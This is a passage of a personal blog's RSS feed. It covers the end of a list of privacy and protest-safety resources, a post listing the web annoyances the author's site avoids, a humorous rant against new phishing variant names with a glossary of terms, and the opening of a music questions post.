  &lt;li&gt;&lt;a href=&quot;https://www.notrace.how&quot;&gt;No Trace Project&lt;/a&gt;: A collection of tools to help anarchists and other rebels understand the capabilities of their enemies, undermine surveillance efforts, and ultimately act without getting caught.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cdemi.io/never-accept-an-mdm-policy-on-your-personal-phone/&quot;&gt;Never accept an MDM policy on your personal phone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ssd.eff.org&quot;&gt;Surveillance Self-Defense&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://atlasofsurveillance.org&quot;&gt;Atlas of Surveillance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Anon-Planet/thgtoa&quot;&gt;The comprehensive guide for online anonymity and OpSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://awesome-privacy.xyz&quot;&gt;Awesome Privacy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://prism-break.org/en/&quot;&gt;Prism Break&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wired.com/story/the-wired-guide-to-protecting-yourself-from-government-surveillance/&quot;&gt;The WIRED Guide to Protecting Yourself From Government Surveillance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xeiaso.net/talks/2025/opsec-and-you/&quot;&gt;Opsec and you: how to navigate having things to hide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.digitalkleptos.com/p/this-universal-threat-model-will-help-you-stay-safe-online&quot;&gt;This Universal Threat Model Will Help You Stay Safe Online&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://encryptitalready.org/&quot;&gt;Encrypt it Already&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;community&quot;&gt;Community&lt;/h1&gt;

&lt;p&gt;When you can’t rely on the government or corporations to protect and care for you, you must fallback on your community.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.eff.org/deeplinks/2025/02/building-community-privacy-plan&quot;&gt;Building a Community Privacy Plan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://csidnet.org/how-to-build-an-organic-community-inorganically/&quot;&gt;How to Build an Organic Community… Inorganically&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;support-what-matters&quot;&gt;Support What Matters&lt;/h6&gt;

&lt;p&gt;While everything in the world seems to be enshittifying and fully capitulating, there are some standouts. Here are some services/organizations still worth supporting.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Support&quot;&gt;Wikipedia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Independent &lt;a href=&quot;#news&quot;&gt;news outlets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.goodsuniteus.com&quot;&gt;Goods Unite Us&lt;/a&gt;: Search for a brand and see its politics.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;other-resources&quot;&gt;Other Resources&lt;/h1&gt;

&lt;p&gt;Some other resources that may be useful in these times.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://riotmedicine.net&quot;&gt;Riot Medicine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.aclu.org/know-your-rights/immigrants-rights&quot;&gt;Know Your Rights&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://resistance-toolkit.com&quot;&gt;The Resistance Toolkit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crimethinc.com/2020/09/02/a-demonstrators-guide-to-gas-masks-and-goggles-everything-you-need-to-know-to-protect-your-eyes-and-lungs-from-gas-and-projectiles&quot;&gt;A Demonstrator’s Guide to Gas Masks and Goggles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sainthood.xyz/blog/posts/anti-ice-resources&quot;&gt;Anti-ICE Resources&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wired.com/story/how-to-organize-safely-in-the-age-of-surveillance/&quot;&gt;How to Organize Safely in the Age of Surveillance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://proton.me/blog/how-to-protect-privacy-at-protests&quot;&gt;The Proton guide to privacy at protests&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 06 Feb 2025 08:19:00 -0500</pubDate>
        <link>https://shellsharks.com/surviving-the-brave-new-world</link>
        <guid isPermaLink="true">https://shellsharks.com/surviving-the-brave-new-world</guid>
        
        <category>life</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>Web Page Annoyances</title>
        <shark:summary><p>Came across this great post on <a href="https://rachelbythebay.com/">rachelbythebay.com</a> titled, <u><a href="https://rachelbythebay.com/w/2025/01/04/cruft/">Web page annoyances that I don't inflict on you here</a></u> and it got me thinking, does my site avoid all these <em>annoying things</em>? Are there other annoying things that I encounter on the web that my site doesn’t do? Are there, *<em>gulp</em>*, things my site does that <em>are</em> annoying?</p>
</shark:summary>
        <description>&lt;p&gt;Came across this great post on &lt;a href=&quot;https://rachelbythebay.com&quot;&gt;rachelbythebay.com&lt;/a&gt; titled, &lt;u&gt;&lt;a href=&quot;https://rachelbythebay.com/w/2025/01/04/cruft/&quot;&gt;Web page annoyances that I don&apos;t inflict on you here&lt;/a&gt;&lt;/u&gt; and it got me thinking, does my site avoid all these &lt;em&gt;annoying things&lt;/em&gt;? Are there other annoying things that I encounter on the web that my site doesn’t do? Are there, *&lt;em&gt;gulp&lt;/em&gt;*, things my site does that &lt;em&gt;are&lt;/em&gt; annoying?&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;
&lt;i&gt;DISCLAIMER: I&apos;ve stolen some of the things from Rachel&apos;s list and added them to my own. All credit to her for this amazing original rant though!&lt;/i&gt;
&lt;/div&gt;

&lt;h1 id=&quot;annoying-things-my-site-doesnt-do&quot;&gt;Annoying things my site doesn’t do&lt;/h1&gt;
&lt;p&gt;I &lt;strong&gt;don’t track engagement&lt;/strong&gt; in any way. No click counter, no Google analytics, &lt;em&gt;nada&lt;/em&gt;. Honestly, I’m just not interested in it. My site isn’t monetized, and I don’t want to obsess over what pieces do well or how many people clicked, or are subscribed, or w/e. I write because it’s fun and I enjoy engaging with those who message me about something I’ve written. &lt;em&gt;Easy&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t have ads&lt;/strong&gt; of any kind. Again, I don’t monetize the site. My site is first and foremost a resource &lt;em&gt;for myself&lt;/em&gt;. To junk it up with a bunch of ads would be counter to this mission. I’ll &lt;strong&gt;never&lt;/strong&gt; have ads. &lt;em&gt;That simple&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/privacy&quot;&gt;don’t set cookies&lt;/a&gt;&lt;/strong&gt;. So I have no GDPR-induced privacy pop-up you have to accept or any other cookie-related advisory notices. I &lt;em&gt;actually&lt;/em&gt; value your privacy, and do so by not wanting to know anything about you. That is unless you want to reach out to me and chat! Then I’d love to get to know ya 😄.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t track IPs&lt;/strong&gt;. My site is hosted off &lt;a href=&quot;https://shellsharks.com/get-to-know-my-blog#what-platform-am-i-using&quot;&gt;GitHub Pages&lt;/a&gt;, and as such, I can’t even get this information. Even if I could though, I wouldn’t look at server logs because I just don’t care.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t do popups&lt;/strong&gt;. You won’t have to make any privacy concessions, nothing is going to pop up and ask you to give me money or subscribe, you can just scroll and click in peace.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t abuse animations&lt;/strong&gt;. I actually &lt;em&gt;do&lt;/em&gt; have a few things animated within my site. There’s one page (I won’t tell you which), where the sharks in my footer will circle when you hover over them. I also have a small few &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;indieweb&lt;/a&gt;-related sites that have some 88x31 oldweb-style buttons, some of which animate. Oh, and yeah, my title image has a blinking underscore, but that’s &lt;em&gt;cool&lt;/em&gt; right?&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t have any autoplaying audio or video&lt;/strong&gt;. Actually, don’t think I have any audio or video at all. Problem solved.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t try to “grab you”&lt;/strong&gt; when you back out of a page, saying something like “&lt;em&gt;before you go, check out this other thing&lt;/em&gt;”. That’d be &lt;em&gt;really&lt;/em&gt; annoying.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t hide or otherwise not include publish dates&lt;/strong&gt; for blogs. In fact, I have ‘published’ &lt;strong&gt;and&lt;/strong&gt; ‘updated’ dates for all my content.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t have elements which follow you down the page&lt;/strong&gt; as you scroll.&lt;/p&gt;

&lt;p&gt;I don’t have any content across pages which begs you to &lt;strong&gt;support me&lt;/strong&gt; or &lt;strong&gt;follow me&lt;/strong&gt; or &lt;strong&gt;subscribe&lt;/strong&gt; or w/e.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;do no scroll-hijacking&lt;/strong&gt; or tamper with how your browser has implemented scrolling. No silly “progress bar” which animates as you scroll up and down a page.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t junk up my pages with icons&lt;/strong&gt; that claim to be for “sharing” or “liking” a post.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t do any dynamic page loading&lt;/strong&gt; as you scroll down. I don’t have pages with infinite scroll. The page you wanted to see is what you see, nothing else. I have very reasonable &lt;a href=&quot;https://shellsharks.com/devlog/pagination-nation&quot;&gt;pagination&lt;/a&gt; for my various post streams.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t put vacuous and misleading clickbait&lt;/strong&gt; “&lt;em&gt;you may be interested in…&lt;/em&gt;” boxes at the bottom of my posts.&lt;/p&gt;

&lt;p&gt;My site is not monetized, so &lt;strong&gt;I don’t make any money just because you go anywhere on my site&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t have anything like that annoying Substack page&lt;/strong&gt; that asks you to subscribe before redirecting you to the actual page you wanted to see.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t&lt;/strong&gt; &lt;em&gt;not&lt;/em&gt; &lt;strong&gt;have a dark mode&lt;/strong&gt; theme.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t&lt;/strong&gt; &lt;em&gt;not&lt;/em&gt; &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/notes/2023/10/12/have-an-rss-feed&quot;&gt;have an RSS feed&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Nothing on my site will &lt;strong&gt;ask you to enable notifications&lt;/strong&gt; in your browser, I don’t ask to send you notifications of any kind. My site doesn’t need your email.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t ask for your location&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I don’t &lt;strong&gt;shift things on your screen&lt;/strong&gt; annoyingly, causing you to mis-click links.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t muddy my content pages with comments&lt;/strong&gt;, or awful Disqus forums.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t ask you to make an account&lt;/strong&gt; of any kind.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t have any paywalled or account-walled&lt;/strong&gt; content.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t optimize for SEO&lt;/strong&gt;. Not saying I won’t try a fun, slightly click-baitey post title every once in a while, but it’s certainly not done to get better search rankings.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t have gobs of third-party dependencies&lt;/strong&gt;. What third-parties I do use I try to expose &lt;a href=&quot;https://shellsharks.com/.well-known/pubvendors.json&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t have any janky photo carousels&lt;/strong&gt;. In fact I keep photos sorta to a minimum on the site.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t aggressively limit column width for content&lt;/strong&gt; on large displays. If you got a beautiful, glorious, gigantic, wide-screen monitor and for some unearthly reason wanted to open my site in full-screen mode, you’ll have SUPER wide content to enjoy.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t do relative dates for posts&lt;/strong&gt;. It’s all about them absolute dates. No date math required!&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t have any huge banners or images&lt;/strong&gt; on content pages. I have some larger graphics like my home page logo, but even that is relatively tame.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t hide my &lt;a href=&quot;https://shellsharks.com/hello&quot;&gt;contact information&lt;/a&gt;&lt;/strong&gt;. Wanna find me on the web? It’s all pretty easy to find.&lt;/p&gt;

&lt;h2 id=&quot;annoying-things-i-unfortunately-do&quot;&gt;Annoying things I (unfortunately?) do&lt;/h2&gt;
&lt;p&gt;Some things I do on my site you &lt;em&gt;might&lt;/em&gt; actually find kinda annoying. &lt;em&gt;Sorry about that&lt;/em&gt;. I’d like to find a way to stop doing those things or mitigate them to an extent in the future…&lt;/p&gt;

&lt;p&gt;I &lt;em&gt;do&lt;/em&gt; kinda require JavaScript for the site to look normal. Technically you can read posts without JS…but some stuff will certainly be wonky. One day I’d like to look into how I can make my site play nicely for those with JS tunred off…&lt;/p&gt;

&lt;p&gt;I do have all sorts of images without ALTs. In fact, I have a lot of accessibility stuff I desperately need to put time into fixing. &lt;em&gt;Sorry!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I do load &lt;em&gt;some&lt;/em&gt; things from other origins (Pictures, some scripts, etc…). You can read about those suppliers &lt;a href=&quot;https://shellsharks.com/.well-known/pubvendors.json&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;p&gt;What are some other annoying things websites do? Does my site do them? Feel free to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;let me know&lt;/a&gt;, I probably want to fix it, and have it &lt;em&gt;not&lt;/em&gt; do that thing. Thanks!&lt;/p&gt;
</description>
        <pubDate>Wed, 05 Feb 2025 08:20:00 -0500</pubDate>
        <link>https://shellsharks.com/web-page-annoyances</link>
        <guid isPermaLink="true">https://shellsharks.com/web-page-annoyances</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        <category>blogging</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>No More -ishings!</title>
        <shark:summary><p>*<em>Takes a breath.</em>* 
<br /><br />
<strong>STOP</strong>. <em>Please</em>. Just stop. No more. We as a community (the infosec community) must band together and collectively agree to stop creating new phishing name variants. <em>It’s gone too far</em>. There’s too many! Won’t someone think of the aspiring CISSPs? In addition to cramming <a href="https://www.cybrary.it/blog/using-fire-suppression-systems-to-protect-electronics">fire suppression</a> factoids and <a href="https://www.tymetal.com/blog/security-bollards-guide/">bollard</a> types into their heads, they will also need to memorize every god forsaken <em>-ishing</em> term too. Back in my day you had just a few, e.g. <em>phishing</em>, <em>vishing</em>, <em>spear phishing</em>, <em>whaling</em>, <em>blah blah</em> - and this was <em>still</em> way too many. What’s with us infosec folks? Why do we do this to ourselves? (<strong>Theory</strong>: self-loathing, it actually explains a lot about infosec practitioners really). But it was the way it was, and I never complained.</p>
</shark:summary>
        <description>&lt;p&gt;*&lt;em&gt;Takes a breath.&lt;/em&gt;* 
&lt;br /&gt;&lt;br /&gt;
&lt;strong&gt;STOP&lt;/strong&gt;. &lt;em&gt;Please&lt;/em&gt;. Just stop. No more. We as a community (the infosec community) must band together and collectively agree to stop creating new phishing name variants. &lt;em&gt;It’s gone too far&lt;/em&gt;. There’s too many! Won’t someone think of the aspiring CISSPs? In addition to cramming &lt;a href=&quot;https://www.cybrary.it/blog/using-fire-suppression-systems-to-protect-electronics&quot;&gt;fire suppression&lt;/a&gt; factoids and &lt;a href=&quot;https://www.tymetal.com/blog/security-bollards-guide/&quot;&gt;bollard&lt;/a&gt; types into their heads, they will also need to memorize every god forsaken &lt;em&gt;-ishing&lt;/em&gt; term too. Back in my day you had just a few, e.g. &lt;em&gt;phishing&lt;/em&gt;, &lt;em&gt;vishing&lt;/em&gt;, &lt;em&gt;spear phishing&lt;/em&gt;, &lt;em&gt;whaling&lt;/em&gt;, &lt;em&gt;blah blah&lt;/em&gt; - and this was &lt;em&gt;still&lt;/em&gt; way too many. What’s with us infosec folks? Why do we do this to ourselves? (&lt;strong&gt;Theory&lt;/strong&gt;: self-loathing, it actually explains a lot about infosec practitioners really). But it was the way it was, and I never complained.&lt;/p&gt;

&lt;p&gt;But then, a few years ago, Coinbase dropped their infamous &lt;a href=&quot;https://www.youtube.com/watch?v=uJ9pNQrz0fA&amp;amp;themeRefresh=1&quot;&gt;QR Code Super Bowl ad&lt;/a&gt; and every single infosec influencer and security vendor had a “&lt;em&gt;Quishing&lt;/em&gt;” article out within 24 hours. &lt;em&gt;Ugh&lt;/em&gt;. I distinctly remember &lt;a href=&quot;https://infosec.exchange/@shellsharks/111296450670805506&quot;&gt;complaining&lt;/a&gt; about this a few years ago, but I ultimately let it go. But today, I came across &lt;a href=&quot;https://www.zimperium.com/blog/hidden-in-plain-sight-pdf-mishing-attack/&quot;&gt;this extremely cursed blog post from Zimperium&lt;/a&gt;, titled “&lt;u&gt;Hidden in Plain Sight: PDF Mishing Attack&lt;/u&gt;”. &lt;strong&gt;No&lt;/strong&gt;! *&lt;em&gt;whacks Zimperium blogger with rolled-up newspaper&lt;/em&gt;* - &lt;strong&gt;STOP&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;First of all, this wasn’t even their first usage of the “term” (&lt;em&gt;know that I’m using those quotes very sarcastically&lt;/em&gt;) &lt;strong&gt;Mishing&lt;/strong&gt;. To understand it, you have to go back to &lt;a href=&quot;https://www.zimperium.com/blog/mishing-in-motion-uncovering-the-evolving-functionality-of-fakecall-malware/&quot;&gt;this post&lt;/a&gt; where they explain that &lt;em&gt;mishing&lt;/em&gt; is some sort of composite form of phishing which includes a bunch of other established phishing variants (e.g. &lt;em&gt;vishing&lt;/em&gt;, &lt;em&gt;smishing&lt;/em&gt;, &lt;em&gt;quishing&lt;/em&gt;, etc…) &lt;em&gt;What?&lt;/em&gt; So it isn’t even its own thing? Why does this need to exist? Let me answer that. &lt;strong&gt;It doesn’t&lt;/strong&gt;. It &lt;em&gt;shouldn’t&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;What’s wrong with just using a descriptive, distinct word as a prefix for different types of phishing variants? Y’know, like “&lt;em&gt;Spear Phishing&lt;/em&gt;”. There are plenty of other examples of how we’ve done this in sane way, e.g.  &lt;a href=&quot;https://www.mantra.ms/blog/phishing-spear-phishing-smishing-vishing-whaling-guide&quot;&gt;Angler phishing&lt;/a&gt;, &lt;a href=&quot;https://perception-point.io/blog/what-is-clone-phishing/&quot;&gt;Clone Phishing&lt;/a&gt;, &lt;a href=&quot;https://www.egress.com/blog/phishing/what-s-double-barrel-phishing&quot;&gt;double-barrel phishing&lt;/a&gt;, &lt;a href=&quot;https://www.egress.com/blog/phishing/deepfake-phishing&quot;&gt;Deepfake phishing&lt;/a&gt;, &lt;a href=&quot;https://www.trendmicro.com/en_us/what-is/phishing/types-of-phishing.html&quot;&gt;search engine phishing&lt;/a&gt;, etc… Now granted, I don’t &lt;em&gt;love&lt;/em&gt; these either, but imagine if those who had coined these terms had instead gone with things like (respectively) “&lt;em&gt;angishing&lt;/em&gt;”, or “&lt;em&gt;clishing&lt;/em&gt;”, or “&lt;em&gt;dubba-ishing&lt;/em&gt;”, or “&lt;em&gt;deepishing&lt;/em&gt;“… *&lt;em&gt;shudders&lt;/em&gt;*. You see how ridiculous that sounds? I’d even settle for coming up with a completely new term, like what we did with “&lt;em&gt;Whaling&lt;/em&gt;” or &lt;a href=&quot;https://perception-point.io/guides/phishing/phishing-types-attacks-6-defensive-measures/&quot;&gt;Pharming&lt;/a&gt;. At least there’s some points for creativity. But no, Zimperium thought they could play God, and breathe life into this abomination.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Look&lt;/em&gt;, I think coming up with funny names for stuff is great. I mean I’ve been documenting &lt;a href=&quot;https://shellsharks.com/designer-vulnerabilities&quot;&gt;named vulnerabilities&lt;/a&gt; for over 5 years now and will continue to do so. It’s whimsical and fun. Name every vuln for all I care. As for the &lt;em&gt;-ishings&lt;/em&gt; though?…&lt;/p&gt;

&lt;p&gt;I won’t stand for it. I’m going to use my platform, and what influence I have (&lt;em&gt;and I can’t emphasize enough how little that probably is&lt;/em&gt;), to stir collective action. &lt;strong&gt;No more -ishings&lt;/strong&gt;. We must band together. Take the pledge, &lt;a href=&quot;https://chng.it/VfxqypJBVH&quot;&gt;sign the petition&lt;/a&gt; (yes, this is a real and &lt;em&gt;totally not&lt;/em&gt; satirical petition on change.org), get the word out, don’t breathe further life into these terms, don’t legitimize them in any way. I call them out here &lt;em&gt;only&lt;/em&gt; to shame them and the would-be influencers-turned-pariahs who were responsible for their creation. I hope you’ll join me.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://chng.it/VfxqypJBVH&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/no-more-ishing-change.jpg&quot; width=&quot;300px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Because if we don’t do something &lt;em&gt;now&lt;/em&gt;. Who knows what the future will look like. Think you have it hard now with &lt;a href=&quot;https://shellsharks.com/cybercomplexity&quot;&gt;all the terms&lt;/a&gt; and acronyms you have to remember? It could be &lt;em&gt;a lot&lt;/em&gt; worse.&lt;/p&gt;

&lt;p&gt;All this said, you might be unfortunate enough to have to remember what all these terms mean. For that, you can look at my &lt;em&gt;very cursed&lt;/em&gt; &lt;a href=&quot;#glossary-of--ishings&quot;&gt;Glossary of -ishings&lt;/a&gt;. God speed.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;glossary-of--ishings&quot;&gt;Glossary of -ishings&lt;/h1&gt;

&lt;p&gt;Don’t know what the hell “&lt;em&gt;Mishing&lt;/em&gt;” is? Don’t worry, no one should have to. But here you are anyway. Learn what allllllllll the different &lt;em&gt;-ishings&lt;/em&gt; are below…&lt;/p&gt;

&lt;p&gt;First though, to understand all derivatives, let’s define regular-ol’ “&lt;strong&gt;Phishing&lt;/strong&gt;”. I’m just going to use &lt;a href=&quot;https://en.wikipedia.org/wiki/Phishing&quot;&gt;Wikipedia’s definition for Phishing&lt;/a&gt; here as I think it sums it up nicely enough.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Phishing is a form of social engineering and a scam where attackers deceive people into revealing sensitive information or installing malware such as viruses, worms, adware, or ransomware.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Good. Now, the &lt;em&gt;-ishings&lt;/em&gt;…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;“&lt;strong&gt;Vishing&lt;/strong&gt;”: Phishing using your voice. So like, over the phone as an example. Seems like we could have just left this as “Voice Phishing”.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“&lt;strong&gt;SMiShing&lt;/strong&gt;”: Phishing through text messages. Notice how &lt;em&gt;officially&lt;/em&gt; this term has capitalized the first ‘S’, the ‘M’ and the second ‘S’ so that it spells out “SMS”. I bet whoever came up with that was &lt;em&gt;real&lt;/em&gt; proud of themselves. &lt;em&gt;Lame&lt;/em&gt;. Oh and yeah, seems like we could have just called this “SMS Phishing”.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“&lt;strong&gt;Quishing&lt;/strong&gt;”: Phishing with QR codes. Put a QR code on something, people just run around scanning QR codes all the time right? Unaware, they are teleported off to a malicious website or whatever. JUST CALL IT QR PHISHING. &lt;em&gt;Jeez&lt;/em&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“&lt;strong&gt;Mishing&lt;/strong&gt;”: “Mobile-targeted” phishing (&lt;a href=&quot;https://www.zimperium.com/blog/mishing-in-motion-uncovering-the-evolving-functionality-of-fakecall-malware/&quot;&gt;according to Zimperium&lt;/a&gt;). Just go look at the link, as it explains it better than I honestly care to do here. I’ve made my feelings quite clear about this particular term. I will say no more.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To finish this off, I’ll drop some quick definitions for the other &lt;em&gt;-ishing&lt;/em&gt;-adjacent terms…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;“&lt;strong&gt;Spear Phishing&lt;/strong&gt;”: A phishing campaign that is highly targeted at a single person or group.&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;Whaling&lt;/strong&gt;”: A &lt;em&gt;spear phishing&lt;/em&gt; variant aimed exclusively at high-level executives or important officials.&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;&lt;a href=&quot;https://www.mantra.ms/blog/phishing-spear-phishing-smishing-vishing-whaling-guide&quot;&gt;Angler phishing&lt;/a&gt;&lt;/strong&gt;”: Phishing targeting users’ social media accounts.&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;&lt;a href=&quot;https://perception-point.io/blog/what-is-clone-phishing/&quot;&gt;Clone Phishing&lt;/a&gt;&lt;/strong&gt;”: A type of email phishing where the malicious actor imitates (“clones”) emails from authorized senders.&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;&lt;a href=&quot;https://www.egress.com/blog/phishing/what-s-double-barrel-phishing&quot;&gt;Double-barrel phishing&lt;/a&gt;&lt;/strong&gt;”: Sending two separate emails to a victim to establish trust and lend authenticity.&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;&lt;a href=&quot;https://www.egress.com/blog/phishing/deepfake-phishing&quot;&gt;Deepfake phishing&lt;/a&gt;&lt;/strong&gt;”: Leveraging deepfakes to phish someone. Basically deepfaking your voice, writing style, visage, etc…&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;&lt;a href=&quot;https://www.trendmicro.com/en_us/what-is/phishing/types-of-phishing.html&quot;&gt;Search engine phishing&lt;/a&gt;&lt;/strong&gt;”: i.e. &lt;em&gt;SEO poisoning&lt;/em&gt;, is where a malicious actor coerces a search engine to elevate a malicious phishing link in search engine results.&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;&lt;a href=&quot;https://perception-point.io/guides/phishing/phishing-types-attacks-6-defensive-measures/&quot;&gt;Pharming&lt;/a&gt;&lt;/strong&gt;”: Hijacking DNS to redirect users to a malicious site. (&lt;em&gt;Seems kinda similar to DNS spoofing/poisoning etc no?&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;“&lt;strong&gt;&lt;a href=&quot;https://keepaware.com/resources/webinars/chainlink-phishing-the-chained-sequences-of-modern-phishing&quot;&gt;Chainlink Phishing&lt;/a&gt;&lt;/strong&gt;”: Chaining together multiple legitimate tools to bypass
traditional defenses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Know of another &lt;em&gt;-ishing&lt;/em&gt; term I haven’t captured here? &lt;strong&gt;KEEP IT TO YOURSELF&lt;/strong&gt;. I &lt;em&gt;really&lt;/em&gt; don’t want to know about any more.&lt;/p&gt;

&lt;p&gt;Hopefully I was able to adequately channel my inner-&lt;a href=&quot;https://crankysec.com&quot;&gt;CrankySec&lt;/a&gt;. Sorry you had to read this!&lt;/p&gt;
</description>
        <pubDate>Tue, 04 Feb 2025 22:23:00 -0500</pubDate>
        <link>https://shellsharks.com/no-more-ishings</link>
        <guid isPermaLink="true">https://shellsharks.com/no-more-ishings</guid>
        
        <category>infosec</category>
        
        <category>funny</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>Music Questions Challenge</title>
        <shark:summary><p>The latest in the IndieWeb community’s <em>blog challenges</em> is the <strong>Music Questions Challenge</strong>. Similar to the <a href="https://shellsharks.com/get-to-know-my-blog#title">last blogging challenge</a> I did, it consists of a <a href="#music-challenge-questions">series of questions</a> that I’ll answer throughout.</p>
</shark:summary>
        <description>&lt;p&gt;The latest in the IndieWeb community’s &lt;em&gt;blog challenges&lt;/em&gt; is the &lt;strong&gt;Music Questions Challenge&lt;/strong&gt;. Similar to the &lt;a href=&quot;https://shellsharks.com/get-to-know-my-blog#title&quot;&gt;last blogging challenge&lt;/a&gt; I did, it consists of a &lt;a href=&quot;#music-challenge-questions&quot;&gt;series of questions&lt;/a&gt; that I’ll answer throughout.&lt;/p&gt;

&lt;p&gt;I got the idea from &lt;a href=&quot;https://flamedfury.com/posts/music-questions-challenge/&quot;&gt;Flamed Fury&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://blog.shrediverse.net/posts/music-questions-challenge-repost&quot;&gt;The Shrediverse&lt;/a&gt; (though no one “tagged” me, I’m goin’ for it anyway).&lt;/p&gt;

&lt;h1 id=&quot;music-challenge-questions&quot;&gt;Music Challenge Questions&lt;/h1&gt;
